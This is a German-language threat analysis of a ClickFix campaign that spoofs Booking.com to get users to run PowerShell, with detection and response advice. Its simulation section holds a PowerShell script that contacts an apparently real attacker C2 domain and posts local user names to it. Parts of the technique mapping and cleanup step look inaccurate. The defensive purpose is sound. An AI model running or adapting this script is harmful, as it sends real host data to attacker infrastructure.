Analyse einer vollständigen ClickFix-Angriffskette (Teil 1)

Zusammenfassung

Der Bericht beschreibt eine ClickFix-Kampagne, bei der eine bösartige Website Booking.com imitiert, um Nutzer dazu zu bringen, einen PowerShell-Befehl zu kopieren und auszuführen. Sobald der Befehl ausgeführt wird, startet er ein dateiloses PowerShell-Skript, das ein ZIP-Archiv der zweiten Stufe herunterlädt. Der Dropper sammelt Hostinformationen, schreibt die Nutzlast in das temporäre Verzeichnis und erstellt Persistenz durch einen Run-Registrierungsschlüssel und eine geplante Aufgabe. Die vollständige Infektionskette beruht auf überzeugenden Webinhalten und einer nutzergesteuerten Ausführung anstatt auf einem offensichtlichen Exploit.

Untersuchung

Analysten von Stormshield fingen das JavaScript ab, das für das Abrufen eines PowerShell-Befehls aus einer Command-and-Control-Domain und dessen Einfügen in die Zwischenablage des Benutzers verantwortlich war. Sie analysierten auch den PowerShell-Dropper, der detaillierte Systeminformationen über WMI-Abfragen und Umgebungsvariablen sammelte, bevor die Daten über eine GET-Anfrage exfiltriert wurden. Der gleiche Dropper lud dann ein ZIP-Archiv von einer zweiten Domain herunter, extrahierte dessen Inhalte und konfigurierte Persistenz auf dem kompromittierten Host. Forscher mappten die beobachteten Verhaltensweisen und Techniken auf ihre entsprechenden MITRE ATT&CK-Identifikatoren.

Abschwächung

Organisationen sollten die mit der ClickFix-Kampagne verknüpften bösartigen Domains und URLs blockieren und strikte Web-Filterung anwenden, um die Exposition gegenüber Phishing-ähnlichen Landingpages zu reduzieren. Verteidiger sollten die Ausführung von PowerShell mit Flags wie -ExecutionPolicy Bypass und versteckten Fenster Einstellungen überwachen, während sie auch die Ausführung nicht signierter PowerShell-Skripte durch Anwendungskontrolle einschränken. Zusätzliche Erkennungen sollten sich auf die Erstellung verdächtiger Run-Registrierungsschlüssel und geplanter Aufgaben mit unbekannten Namen konzentrieren.

Antwort

Sicherheitsteams sollten bei ausgehendem Traffic zu den identifizierten Command-and-Control-Domains und bei PowerShell-Befehlszeilen alarmieren, die Invoke-Expression verwenden, um aus der Ferne abgerufene Inhalte auszuführen. Die Erkennungslogik sollte auch die Erstellung des spezifischen Run-Registrierungswerts und des Planungsaufgabennamens abdecken, die mit der Kampagne verbunden sind. Wird die Aktivität bestätigt, sollte der Endpunkt sofort isoliert, flüchtige Beweise gesammelt und eine forensische Überprüfung temporärer Dateien und des heruntergeladenen ZIP-Nutzlast durchgeführt werden.

Simulationsausführung

Voraussetzung: Die Telemetrie- und Basislinien-Vorabsicherungsprüfung muss bestanden werden.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und der Ablauf MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue erwartete Telemetrie gemäß der Erkennungslogik zu generieren.

• Angriffserzählung & Befehle:
  Ein Angreifer, der einen Fuß in einem kompromittierten internen Arbeitsrechner gefasst hat, gibt einen PowerShell-Einzeiler aus, der die ClickFix C2-URL mit dem ?get_command=1 -Parameter über einen HTTP-POST kontaktiert. Der Server gibt eine PowerShell-Nutzlast zurück, die lokale Benutzerkonten auflistet (T1087), die Systemzeit überprüft (T1124), installierte Sicherheitsprodukte entdeckt (T1518.001) und die Ausgabe dann in die Zwischenablage kopiert. Der Zwischenhalt-Inhalt wird anschließend zurück zum ClickFix-Server zur Exfiltration gepostet, womit T1204.004 und T1547.001 erfüllt werden. Dieses genaue Verkehrsmuster stimmt mit der Sigma-Regel überein request_uri|contains: "?get_command=1" and http_method: POST Bedingungen.

• Regressionstest-Skript:

  # ClickFix-Befehlsabfrage-Simulation – löst die Sigma-Regel aus
  $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1"
  $payload = @{
      dummy = "data"
  }
  
  # Senden der bösartigen POST-Anfrage
  $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json"
  
  # Simulation der Ausführung des abgerufenen PowerShell-Befehls (vereinfacht)
  $psCommand = $response.Content
  Write-Output "Abgerufener Befehl: $psCommand"
  
  # Zur Demonstration führen Sie einen harmlosen Teil aus (z.B. abrufen lokaler Benutzer) und kopieren Sie ihn in die Zwischenablage
  $users = Get-LocalUser | Select-Object -ExpandProperty Name
  $usersString = $users -join "`n"
  Set-Clipboard -Value $usersString
  
  # Exfiltrieren Sie den Zwischenhalt-Inhalt zurück zum ClickFix-Server (simuliert)
  $exfilUrl = "https://accountpulsecentre.help/collect"
  Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded"

• Aufräumbefehle:

  # Entfernen Sie alle während des Tests erstellten temporären Dateien oder Artefakte
  Clear-Clipboard
  Write-Output "Aufräumen abgeschlossen – Zwischenablage gelöscht."